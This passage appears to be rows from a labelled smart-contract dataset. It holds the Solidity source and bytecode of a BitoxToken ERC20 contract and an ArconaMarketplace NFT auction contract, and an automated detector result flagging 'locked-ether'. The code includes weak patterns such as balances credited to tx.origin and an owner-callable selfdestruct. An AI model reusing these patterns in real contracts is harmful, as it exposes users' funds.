Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering * * To change the approve amount you first have to reduce the addresses * allowance to zero by calling `approve(spender_, 0)` if it is not * already 0 to mitigate the race condition described in: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param spender_ The address which will spend the funds. * @param value_ The amount of tokens to be spent. */ function approve(address spender_, uint value_) public whenNotLocked returns (bool) { if (value_ != 0 && allowed[msg.sender][spender_] != 0) { revert(); } allowed[msg.sender][spender_] = value_; emit Approval(msg.sender, spender_, value_); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * @param owner_ address The address which owns the funds * @param spender_ address The address which will spend the funds * @return A uint specifying the amount of tokens still available for the spender */ function allowance(address owner_, address spender_) public view returns (uint) { return allowed[owner_][spender_]; } } // File: contracts/base/BaseTokenExchangeInterface.sol interface BaseTokenExchangeInterface { // Token exchange service contract must have: // address[] private registeredTokens; /// @dev Fired if token exchange complete event Exchange(address _from, address _by, uint _value, address _target); /// @dev Fired if token exchange and spent complete event ExchangeAndSpent(address _from, address _by, uint _value, address _target, address _to); function registerToken(address _token) external returns (bool success); function exchangeToken(address _targetContract, uint _amount) external returns (bool success, uint creditedAmount); function exchangeAndSpend(address _targetContract, uint _amount, address _to) external returns (bool success); } // File: contracts/base/BaseExchangeableToken.sol /** * @dev ERC20 and EIP-823 (exchangeable) compliant token. */ contract BaseExchangeableToken is BaseExchangeableTokenInterface, BaseFixedERC20Token { using SafeMath for uint; BaseTokenExchangeInterface public exchange; /// @dev Fired if token is change exchange. (extends EIP-823) event ExchangeChanged(address _exchange); /** * @dev Modifier to make a function callable * only when the exchange contract is set. */ modifier whenConfigured() { require(exchange != address(0)); _; } /** * @dev Modifier to make a function callable * only by exchange contract */ modifier onlyExchange() { require(msg.sender == address(exchange)); _; } // Sender interface /// @dev number of tokens exchanged to another tokens for each token address mapping(address => uint) private exchangedWith; /// @dev number of tokens exchanged to another tokens for each user address mapping(address => uint) private exchangedBy; // Receiver interface /// @dev number of tokens exchanged from another tokens for each token address mapping(address => uint) private exchangesReceived; /// @dev change exchange for this token. (extends EIP-823) function changeExchange(address _exchange) public onlyOwner { require(_exchange != address(0)); exchange = BaseTokenExchangeInterface(_exchange); emit ExchangeChanged(_exchange); } // Sender interface /** * @dev exchange amount of this token to target token * @param _targetContract target token contract * @param _amount amount of tokens to exchange * @return (true, creditedAmount) on success. * (false, 0) on: * nothing =) * revert on: * exchangeToken in exchange contract return (false, 0) * exchange address is not configured * balance of tokens less then amount to exchange */ function exchangeToken(address _targetContract, uint _amount) public whenConfigured returns (bool success, uint creditedAmount) { require(_targetContract != address(0) && _amount <= balances[msg.sender]); (success, creditedAmount) = exchange.exchangeToken(_targetContract, _amount); if (!success) { revert(); } emit Exchange(msg.sender, _targetContract, _amount); return (success, creditedAmount); } /** * @dev exchange amount of this token to target token and transfer to specified address * @param _targetContract target token contract * @param _amount amount of tokens to exchange * @param _to address for transferring exchanged tokens * @return true on success. * false on: * nothing =) * revert on: * exchangeTokenAndSpend in exchange contract return false * exchange address is not configured * balance of tokens less then amount to exchange */ function exchangeAndSpend(address _targetContract, uint _amount, address _to) public whenConfigured returns (bool success) { require(_targetContract != address(0) && _to != address(0) && _amount <= balances[msg.sender]); success = exchange.exchangeAndSpend(_targetContract, _amount, _to); if (!success) { revert(); } emit ExchangeSpent(msg.sender, _targetContract, _to, _amount); return success; } /** * @dev send amount of this token to exchange. Must be called only from exchange contract * @param _targetContract target token contract * @param _exchanger address of user, who exchange tokens * @param _amount amount of tokens to exchange * @return true on success. * false on: * balance of tokens less then amount to exchange * revert on: * exchange address is not configured * called not by configured exchange address */ function __exchangerCallback(address _targetContract, address _exchanger, uint _amount) public whenConfigured onlyExchange returns (bool success) { require(_targetContract != address(0)); if (_amount > balances[_exchanger]) { return false; } balances[_exchanger] = balances[_exchanger].sub(_amount); exchangedWith[_targetContract] = exchangedWith[_targetContract].add(_amount); exchangedBy[_exchanger] = exchangedBy[_exchanger].add(_amount); return true; } // Receiver interface /** * @dev receive amount of tokens from exchange. Must be called only from exchange contract * @param _amount amount of tokens to receive * @return true on success. * false on: * nothing =) * revert on: * exchange address is not configured * called not by configured exchange address */ function __targetExchangeCallback(uint _amount) public whenConfigured onlyExchange returns (bool success) { balances[tx.origin] = balances[tx.origin].add(_amount); exchangesReceived[tx.origin] = exchangesReceived[tx.origin].add(_amount); emit Exchange(tx.origin, this, _amount); return true; } /** * @dev receive amount of tokens from exchange and transfer to specified address. Must be called only from exchange contract * @param _amount amount of tokens to receive * @param _to address for transferring exchanged tokens * @return true on success. * false on: * nothing =) * revert on: * exchange address is not configured * called not by configured exchange address */ function __targetExchangeAndSpendCallback(address _to, uint _amount) public whenConfigured onlyExchange returns (bool success) { balances[_to] = balances[_to].add(_amount); exchangesReceived[_to] = exchangesReceived[_to].add(_amount); emit ExchangeSpent(tx.origin, this, _to, _amount); return true; } } // File: contracts/BitoxToken.sol /** * @title Bitox token contract. */ contract BitoxToken is BaseExchangeableToken { using SafeMath for uint; string public constant name = "BitoxTokens"; string public constant symbol = "BITOX"; uint8 public constant decimals = 18; uint internal constant ONE_TOKEN = 1e18; constructor(uint totalSupplyTokens_) public { locked = false; totalSupply = totalSupplyTokens_ * ONE_TOKEN; address creator = msg.sender; balances[creator] = totalSupply; emit Transfer(0, this, totalSupply); emit Transfer(this, creator, balances[creator]); } // Disable direct payments function() external payable { revert(); } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ee57806323b872dd1461021557806327e235e31461023f578063313ce567146102605780633c3bdb7a1461028b5780635a63feb8146102ae57806370a08231146102d25780638da5cb5b146102f35780638eddc3061461032457806395d89b411461034e578063a69df4b514610363578063a9059cbb14610378578063b65b3f801461039c578063b8b690e7146103c7578063cf309012146103df578063cf3cb33f146103f4578063d2f7265a14610433578063dd62ed3e14610448578063f2fde38b1461046f578063f83d08ba14610490575b600080fd5b34801561013857600080fd5b506101416104a5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017b578181015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c257600080fd5b506101da600160a060020a03600435166024356104dc565b604080519115158252519081900360200190f35b3480156101fa57600080fd5b506102036105a7565b60408051918252519081900360200190f35b34801561022157600080fd5b506101da600160a060020a03600435811690602435166044356105ad565b34801561024b57600080fd5b50610203600160a060020a036004351661074e565b34801561026c57600080fd5b50610275610760565b6040805160ff9092168252519081900360200190f35b34801561029757600080fd5b506102ac600160a060020a0360043516610765565b005b3480156102ba57600080fd5b506101da600160a060020a03600435166024356107f2565b3480156102de57600080fd5b50610203600160a060020a03600435166108f0565b3480156102ff57600080fd5b5061030861090b565b60408051600160a060020a039092168252519081900360200190f35b34801561033057600080fd5b506101da600160a060020a036004358116906024351660443561091a565b34801561035a57600080fd5b50610141610a4c565b34801561036f57600080fd5b506102ac610a83565b34801561038457600080fd5b506101da600160a060020a0360043516602435610b0a565b3480156103a857600080fd5b506101da600160a060020a036004358116906024359060443516610c15565b3480156103d357600080fd5b506101da600435610d81565b3480156103eb57600080fd5b506101da610e5c565b34801561040057600080fd5b50610418600160a060020a0360043516602435610e7d565b60408051921515835260208301919091528051918290030190f35b34801561043f57600080fd5b50610308610fcd565b34801561045457600080fd5b50610203600160a060020a0360043581169060243516610fdc565b34801561047b57600080fd5b506102ac600160a060020a0360043516611007565b34801561049c57600080fd5b506102ac61109b565b60408051808201909152600b81527f4269746f78546f6b656e73000000000000000000000000000000000000000000602082015281565b6000805474010000000000000000000000000000000000000000900460ff161561050557600080fd5b81158015906105365750336000908152600360209081526040808320600160a060020a038716845290915290205415155b1561054057600080fd5b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015481565b6000805474010000000000000000000000000000000000000000900460ff16156105d657600080fd5b600160a060020a038316158015906106065750600160a060020a0384166000908152600260205260409020548211155b80156106355750600160a060020a03841660009081526003602090815260408083203384529091529020548211155b151561064057600080fd5b600160a060020a038416600090815260026020526040902054610669908363ffffffff61113816565b600160a060020a03808616600090815260026020526040808220939093559085168152205461069e908363ffffffff61114a16565b600160a060020a0380851660009081526002602090815260408083209490945591871681526003825282812033825290915220546106e2908363ffffffff61113816565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060015b9392505050565b60026020526000908152604090205481565b601281565b600054600160a060020a0316331461077c57600080fd5b600160a060020a038116151561079157600080fd5b60048054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f39870277935708b88965de17b0c29d3c1ad93a200dce569fc56702229432973e9181900360200190a150565b600454600090600160a060020a0316151561080c57600080fd5b600454600160a060020a0316331461082357600080fd5b600160a060020a03831660009081526002602052604090205461084c908363ffffffff61114a16565b600160a060020a038416600090815260026020908152604080832093909355600790522054610881908363ffffffff61114a16565b600160a060020a03841660008181526007602090815260409182902093909355805132815230938101939093528281019190915260608201849052517f94f894fc21b0710283384cff4d54c5cc2019e3d79fb872674e8641ed36487cbf9181900360800190a150600192915050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b600454600090600160a060020a0316151561093457600080fd5b600454600160a060020a0316331461094b57600080fd5b600160a060020a038416151561096057600080fd5b600160a060020a03831660009081526002602052604090205482111561098857506000610747565b600160a060020a0383166000908152600260205260409020546109b1908363ffffffff61113816565b600160a060020a038085166000908152600260209081526040808320949094559187168152600590915220546109ed908363ffffffff61114a16565b600160a060020a03808616600090815260056020908152604080832094909455918616815260069091522054610a29908363ffffffff61114a16565b600160a060020a0384166000908152600660205260409020555060019392505050565b60408051808201909152600581527f4249544f58000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a03163314610a9a57600080fd5b60005474010000000000000000000000000000000000000000900460ff161515610ac357600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f70e3fffea7bbb557facdee48ed7f7af5179030adef9ad0c876df039a718f359e9190a1565b6000805474010000000000000000000000000000000000000000900460ff1615610b3357600080fd5b600160a060020a03831615801590610b5a5750336000908152600260205260409020548211155b1515610b6557600080fd5b33600090815260026020526040902054610b85908363ffffffff61113816565b3360009081526002602052604080822092909255600160a060020a03851681522054610bb7908363ffffffff61114a16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600454600090600160a060020a03161515610c2f57600080fd5b600160a060020a03841615801590610c4f5750600160a060020a03821615155b8015610c6a5750336000908152600260205260409020548311155b1515610c7557600080fd5b60048054604080517fb65b3f80000000000000000000000000000000000000000000000000000000008152600160a060020a03888116948201949094526024810187905285841660448201529051929091169163b65b3f80916064808201926020929091908290030181600087803b158015610cf057600080fd5b505af1158015610d04573d6000803e3d6000fd5b505050506040513d6020811015610d1a57600080fd5b50519050801515610d2a57600080fd5b60408051338152600160a060020a0380871660208301528416818301526060810185905290517f94f894fc21b0710283384cff4d54c5cc2019e3d79fb872674e8641ed36487cbf9181900360800190a19392505050565b600454600090600160a060020a03161515610d9b57600080fd5b600454600160a060020a03163314610db257600080fd5b32600090815260026020526040902054610dd2908363ffffffff61114a16565b32600090815260026020908152604080832093909355600790522054610dfe908363ffffffff61114a16565b32600081815260076020908152604091829020939093558051918252309282019290925280820184905290517f477b65cf658c5207a9d60bb5ebe4f60a504af024949bdffa6efc396d01ced3f69181900360600190a1506001919050565b60005474010000000000000000000000000000000000000000900460ff1681565b6004546000908190600160a060020a03161515610e9957600080fd5b600160a060020a03841615801590610ec05750336000908152600260205260409020548311155b1515610ecb57600080fd5b60048054604080517fcf3cb33f000000000000000000000000000000000000000000000000000000008152600160a060020a0388811694820194909452602481018790528151939092169263cf3cb33f9260448082019392918290030181600087803b158015610f3a57600080fd5b505af1158015610f4e573d6000803e3d6000fd5b505050506040513d6040811015610f6457600080fd5b5080516020909101519092509050811515610f7e57600080fd5b60408051338152600160a060020a038616602082015280820185905290517f477b65cf658c5207a9d60bb5ebe4f60a504af024949bdffa6efc396d01ced3f69181900360600190a19250929050565b600454600160a060020a031681565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600054600160a060020a0316331461101e57600080fd5b600160a060020a038116151561103357600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031633146110b257600080fd5b60005474010000000000000000000000000000000000000000900460ff16156110da57600080fd5b6000805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001781556040517f46620e39f4e119bf05f13544f8ef38338fc06c17f6b731c7f95bee356572db969190a1565b60008282111561114457fe5b50900390565b60008282018381101561074757fe00a165627a7a72305820c987c971703fdb0670a9f74d0f213e25e58d20ff738e816290c7234688c620310029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,322
0x0e5632feb2c2619dba9c7e2dc5a7ed3fd14969da
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC721Interface { //ERC721 function balanceOf(address owner) public view returns (uint256 _balance); function ownerOf(uint256 tokenID) public view returns (address owner); function transfer(address to, uint256 tokenID) public returns (bool); function approve(address to, uint256 tokenID) public returns (bool); function takeOwnership(uint256 tokenID) public; function totalSupply() public view returns (uint); function owns(address owner, uint256 tokenID) public view returns (bool); function allowance(address claimant, uint256 tokenID) public view returns (bool); function transferFrom(address from, address to, uint256 tokenID) public returns (bool); function createLand(address owner) external returns (uint); } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; mapping(address => bool) admins; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddAdmin(address indexed admin); event DelAdmin(address indexed admin); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin() { require(isAdmin(msg.sender)); _; } function addAdmin(address _adminAddress) external onlyOwner { require(_adminAddress != address(0)); admins[_adminAddress] = true; emit AddAdmin(_adminAddress); } function delAdmin(address _adminAddress) external onlyOwner { require(admins[_adminAddress]); admins[_adminAddress] = false; emit DelAdmin(_adminAddress); } function isAdmin(address _adminAddress) public view returns (bool) { return admins[_adminAddress]; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } interface NewAuctionContract { function receiveAuction(address _token, uint _tokenId, uint _startPrice, uint _stopTime) external returns (bool); } contract ArconaMarketplaceContract is Ownable { using SafeMath for uint; ERC20 public arconaToken; struct Auction { address owner; address token; uint tokenId; uint startPrice; uint stopTime; address winner; uint executeTime; uint finalPrice; bool executed; bool exists; } mapping(address => bool) public acceptedTokens; mapping(address => bool) public whiteList; mapping (address => bool) public users; mapping(uint256 => Auction) public auctions; //token => token_id = auction id mapping (address => mapping (uint => uint)) public auctionIndex; mapping(address => uint256[]) private ownedAuctions; uint private lastAuctionId; uint defaultExecuteTime = 24 hours; uint public auctionFee = 300; //3% uint public gasInTokens = 1000000000000000000; uint public minDuration = 1; uint public maxDuration = 20160; address public profitAddress; event ReceiveCreateAuction(address from, uint tokenId, address token); event AddAcceptedToken(address indexed token); event DelAcceptedToken(address indexed token); event AddWhiteList(address indexed addr); event DelWhiteList(address indexed addr); event NewAuction(address indexed owner, uint tokenId, uint auctionId); event AddUser(address indexed user); event GetToken(uint auctionId, address winner); event SetWinner(address winner, uint auctionId, uint finalPrice, uint executeTime); event CancelAuction(uint auctionId); event RestartAuction(uint auctionId); constructor(address _token, address _profitAddress) public { arconaToken = ERC20(_token); profitAddress = _profitAddress; } function() public payable { if (!users[msg.sender]) { users[msg.sender] = true; emit AddUser(msg.sender); } } function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) { require(isAcceptedToken(_token)); require(_duration >= minDuration && _duration <= maxDuration); _createAuction(_from, _token, _tokenId, _startPrice, _duration); emit ReceiveCreateAuction(_from, _tokenId, _token); return true; } function createAuction(address _token, uint _tokenId, uint _startPrice, uint _duration) external returns (bool) { require(isAcceptedToken(_token)); require(_duration >= minDuration && _duration <= maxDuration); _createAuction(msg.sender, _token, _tokenId, _startPrice, _duration); return true; } function _createAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) internal returns (uint) { require(ERC721Interface(_token).transferFrom(_from, this, _tokenId)); auctions[++lastAuctionId] = Auction({ owner : _from, token : _token, tokenId : _tokenId, startPrice : _startPrice, //startTime : now, stopTime : now + (_duration * 1 minutes), winner : address(0), executeTime : now + (_duration * 1 minutes) + defaultExecuteTime, finalPrice : 0, executed : false, exists: true }); auctionIndex[_token][_tokenId] = lastAuctionId; ownedAuctions[_from].push(lastAuctionId); emit NewAuction(_from, _tokenId, lastAuctionId); return lastAuctionId; } function setWinner(address _winner, uint _auctionId, uint _finalPrice, uint _executeTime) onlyAdmin external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(now > auctions[_auctionId].stopTime); //require(auctions[_auctionId].winner == address(0)); require(_finalPrice >= auctions[_auctionId].startPrice); auctions[_auctionId].winner = _winner; auctions[_auctionId].finalPrice = _finalPrice; if (_executeTime > 0) { auctions[_auctionId].executeTime = now + (_executeTime * 1 minutes); } emit SetWinner(_winner, _auctionId, _finalPrice, _executeTime); } function getToken(uint _auctionId) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(now <= auctions[_auctionId].executeTime); require(msg.sender == auctions[_auctionId].winner); uint fullPrice = auctions[_auctionId].finalPrice; require(arconaToken.transferFrom(msg.sender, this, fullPrice)); if (!inWhiteList(auctions[_auctionId].owner)) { uint fee = valueFromPercent(fullPrice, auctionFee); fullPrice = fullPrice.sub(fee).sub(gasInTokens); } arconaToken.transfer(auctions[_auctionId].owner, fullPrice); require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].winner, auctions[_auctionId].tokenId)); auctions[_auctionId].executed = true; emit GetToken(_auctionId, msg.sender); } function cancelAuction(uint _auctionId) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(msg.sender == auctions[_auctionId].owner); require(now > auctions[_auctionId].executeTime); require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].owner, auctions[_auctionId].tokenId)); emit CancelAuction(_auctionId); } function restartAuction(uint _auctionId, uint _startPrice, uint _duration) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(msg.sender == auctions[_auctionId].owner); require(now > auctions[_auctionId].executeTime); auctions[_auctionId].startPrice = _startPrice; auctions[_auctionId].stopTime = now + (_duration * 1 minutes); auctions[_auctionId].executeTime = now + (_duration * 1 minutes) + defaultExecuteTime; emit RestartAuction(_auctionId); } function migrateAuction(uint _auctionId, address _newAuction) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(msg.sender == auctions[_auctionId].owner); require(now > auctions[_auctionId].executeTime); require(ERC721Interface(auctions[_auctionId].token).approve(_newAuction, auctions[_auctionId].tokenId)); require(NewAuctionContract(_newAuction).receiveAuction( auctions[_auctionId].token, auctions[_auctionId].tokenId, auctions[_auctionId].startPrice, auctions[_auctionId].stopTime )); } function ownerAuctionCount(address _owner) external view returns (uint256) { return ownedAuctions[_owner].length; } function auctionsOf(address _owner) external view returns (uint256[]) { return ownedAuctions[_owner]; } function addAcceptedToken(address _token) onlyAdmin external { require(_token != address(0)); acceptedTokens[_token] = true; emit AddAcceptedToken(_token); } function delAcceptedToken(address _token) onlyAdmin external { require(acceptedTokens[_token]); acceptedTokens[_token] = false; emit DelAcceptedToken(_token); } function addWhiteList(address _address) onlyAdmin external { require(_address != address(0)); whiteList[_address] = true; emit AddWhiteList(_address); } function delWhiteList(address _address) onlyAdmin external { require(whiteList[_address]); whiteList[_address] = false; emit DelWhiteList(_address); } function setDefaultExecuteTime(uint _hours) onlyAdmin external { defaultExecuteTime = _hours * 1 hours; } function setAuctionFee(uint _fee) onlyAdmin external { auctionFee = _fee; } function setGasInTokens(uint _gasInTokens) onlyAdmin external { gasInTokens = _gasInTokens; } function setMinDuration(uint _minDuration) onlyAdmin external { minDuration = _minDuration; } function setMaxDuration(uint _maxDuration) onlyAdmin external { maxDuration = _maxDuration; } function setProfitAddress(address _profitAddress) onlyOwner external { require(_profitAddress != address(0)); profitAddress = _profitAddress; } function isAcceptedToken(address _token) public view returns (bool) { return acceptedTokens[_token]; } function inWhiteList(address _address) public view returns (bool) { return whiteList[_address]; } function withdrawTokens() onlyAdmin public { require(arconaToken.balanceOf(this) > 0); arconaToken.transfer(profitAddress, arconaToken.balanceOf(this)); } //1% - 100, 10% - 1000 50% - 5000 function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) { uint _amount = _value.mul(_percent).div(10000); return (_amount); } function destruct() onlyOwner public { selfdestruct(owner); } }
0x6080604052600436106101e25763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663100a0ed1811461023e578063123702e21461028257806314525b6b146102b35780631674bade146102da5780631a9aa710146102f25780631da835501461031357806324d7806c1461033d57806329d592bf1461035e5780632b68b9c61461037357806333a87ade14610388578063372c12b11461039d5780633b6e750f146103be5780633eee83f1146103df57806345262b05146104005780635671576114610418578063571a26a01461042d578063605e5ee1146104ad57806361beb1d7146104ce57806362d91855146104f857806369e0e346146105195780636db5c8fd1461053a578063704802751461054f5780638059382a14610570578063810869181461058857806382cf114c146105a957806382dc4a05146105ca5780638d8f2adb146105eb5780638da5cb5b1461060057806396b5a75514610615578063a87430ba1461062d578063c70fe6bd1461064e578063c824a22214610672578063cf0f34c4146106e3578063e1d2f649146106fb578063e4b50cb814610719578063e7cd4a0414610731578063eba39dab14610752578063f2fde38b14610776578063f59e754c14610797575b3360009081526005602052604090205460ff16151561023c5733600081815260056020526040808220805460ff19166001179055517f93e8ef53fa1762269961bdc02811e560fa10787f7f2f9c13f74ddad8221614d29190a25b005b34801561024a57600080fd5b5061026e600160a060020a03600435811690602435166044356064356084356107af565b604080519115158252519081900360200190f35b34801561028e57600080fd5b50610297610848565b60408051600160a060020a039092168252519081900360200190f35b3480156102bf57600080fd5b506102c8610857565b60408051918252519081900360200190f35b3480156102e657600080fd5b5061023c60043561085d565b3480156102fe57600080fd5b506102c8600160a060020a0360043516610876565b34801561031f57600080fd5b5061023c600160a060020a0360043516602435604435606435610891565b34801561034957600080fd5b5061026e600160a060020a03600435166109da565b34801561036a57600080fd5b506102976109f8565b34801561037f57600080fd5b5061023c610a07565b34801561039457600080fd5b506102c8610a2c565b3480156103a957600080fd5b5061026e600160a060020a0360043516610a32565b3480156103ca57600080fd5b5061026e600160a060020a0360043516610a47565b3480156103eb57600080fd5b5061023c600160a060020a0360043516610a65565b34801561040c57600080fd5b5061023c600435610ada565b34801561042457600080fd5b506102c8610af7565b34801561043957600080fd5b50610445600435610afd565b60408051600160a060020a039b8c168152998b1660208b015289810198909852606089019690965260808801949094529190961660a086015260c085019590955260e08401949094529215156101008301529115156101208201529051908190036101400190f35b3480156104b957600080fd5b5061023c600160a060020a0360043516610b64565b3480156104da57600080fd5b5061026e600160a060020a0360043516602435604435606435610be8565b34801561050457600080fd5b5061023c600160a060020a0360043516610c36565b34801561052557600080fd5b5061026e600160a060020a0360043516610cbd565b34801561054657600080fd5b506102c8610cdb565b34801561055b57600080fd5b5061023c600160a060020a0360043516610ce1565b34801561057c57600080fd5b5061023c600435610d5c565b34801561059457600080fd5b5061023c600160a060020a0360043516610d75565b3480156105b557600080fd5b5061023c600160a060020a0360043516610df9565b3480156105d657600080fd5b5061026e600160a060020a0360043516610e54565b3480156105f757600080fd5b5061023c610e69565b34801561060c57600080fd5b5061029761104b565b34801561062157600080fd5b5061023c60043561105a565b34801561063957600080fd5b5061026e600160a060020a03600435166111d2565b34801561065a57600080fd5b5061023c600435600160a060020a03602435166111e7565b34801561067e57600080fd5b50610693600160a060020a03600435166113fa565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106cf5781810151838201526020016106b7565b505050509050019250505060405180910390f35b3480156106ef57600080fd5b5061023c600435611466565b34801561070757600080fd5b5061023c60043560243560443561147f565b34801561072557600080fd5b5061023c60043561156a565b34801561073d57600080fd5b5061023c600160a060020a03600435166118d1565b34801561075e57600080fd5b506102c8600160a060020a0360043516602435611946565b34801561078257600080fd5b5061023c600160a060020a0360043516611963565b3480156107a357600080fd5b5061023c6004356119f7565b60006107ba85610a47565b15156107c557600080fd5b600d5482101580156107d95750600e548211155b15156107e457600080fd5b6107f18686868686611a10565b5060408051600160a060020a0380891682526020820187905287168183015290517f52cf95338051277639fa0945f1014440443e26a47d16f0ccfd0f11c543b574969181900360600190a150600195945050505050565b600f54600160a060020a031681565b600b5481565b610866336109da565b151561087157600080fd5b600d55565b600160a060020a031660009081526008602052604090205490565b61089a336109da565b15156108a557600080fd5b600083815260066020526040902060080154610100900460ff1615156108ca57600080fd5b60008381526006602052604090206008015460ff16156108e957600080fd5b600083815260066020526040902060040154421161090657600080fd5b60008381526006602052604090206003015482101561092457600080fd5b600083815260066020526040812060058101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03881617905560070183905581111561098457600083815260066020819052604090912042603c8402019101555b60408051600160a060020a0386168152602081018590528082018490526060810183905290517f6df7f1ac1af0d9df17b3f57818b7c7fb72d75e2acdbf61fca4bc5971619823ce9181900360800190a150505050565b600160a060020a031660009081526001602052604090205460ff1690565b600254600160a060020a031681565b600054600160a060020a03163314610a1e57600080fd5b600054600160a060020a0316ff5b600c5481565b60046020526000908152604090205460ff1681565b600160a060020a031660009081526003602052604090205460ff1690565b610a6e336109da565b1515610a7957600080fd5b600160a060020a0381161515610a8e57600080fd5b600160a060020a038116600081815260036020526040808220805460ff19166001179055517f8d12536a26e1c757d393b039469ce97499ed4a5c39f067cd950f9295a269061b9190a250565b610ae3336109da565b1515610aee57600080fd5b610e1002600a55565b600d5481565b6006602081905260009182526040909120805460018201546002830154600384015460048501546005860154968601546007870154600890970154600160a060020a0396871698958716979496939592949390921692909160ff808216916101009004168a565b610b6d336109da565b1515610b7857600080fd5b600160a060020a03811660009081526004602052604090205460ff161515610b9f57600080fd5b600160a060020a038116600081815260046020526040808220805460ff19169055517f4be8d593c63e0ba664ad9b6f5158c6dbb2553758fbeb4e947d2e0fb93e34c0ab9190a250565b6000610bf385610a47565b1515610bfe57600080fd5b600d548210158015610c125750600e548211155b1515610c1d57600080fd5b610c2a3386868686611a10565b50600195945050505050565b600054600160a060020a03163314610c4d57600080fd5b600160a060020a03811660009081526001602052604090205460ff161515610c7457600080fd5b600160a060020a038116600081815260016020526040808220805460ff19169055517fb6932914dcfc2a1d602e4e0cd9f9d99dc9640ccfc789b1b83a691fc0c90c24c39190a250565b600160a060020a031660009081526004602052604090205460ff1690565b600e5481565b600054600160a060020a03163314610cf857600080fd5b600160a060020a0381161515610d0d57600080fd5b600160a060020a0381166000818152600160208190526040808320805460ff1916909217909155517fad6de4452a631e641cb59902236607946ce9272b9b981f2f80e8d129cb9084ba9190a250565b610d65336109da565b1515610d7057600080fd5b600c55565b610d7e336109da565b1515610d8957600080fd5b600160a060020a03811660009081526003602052604090205460ff161515610db057600080fd5b600160a060020a038116600081815260036020526040808220805460ff19169055517f069d00d2f2dbd28f23c2700b746dcb098284ac37ffe50573648bbdd69ff9d4909190a250565b600054600160a060020a03163314610e1057600080fd5b600160a060020a0381161515610e2557600080fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60036020526000908152604090205460ff1681565b610e72336109da565b1515610e7d57600080fd5b600254604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b158015610ee257600080fd5b505af1158015610ef6573d6000803e3d6000fd5b505050506040513d6020811015610f0c57600080fd5b505111610f1857600080fd5b600254600f54604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a039384169363a9059cbb93169184916370a08231916024808201926020929091908290030181600087803b158015610f8b57600080fd5b505af1158015610f9f573d6000803e3d6000fd5b505050506040513d6020811015610fb557600080fd5b5051604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561101d57600080fd5b505af1158015611031573d6000803e3d6000fd5b505050506040513d602081101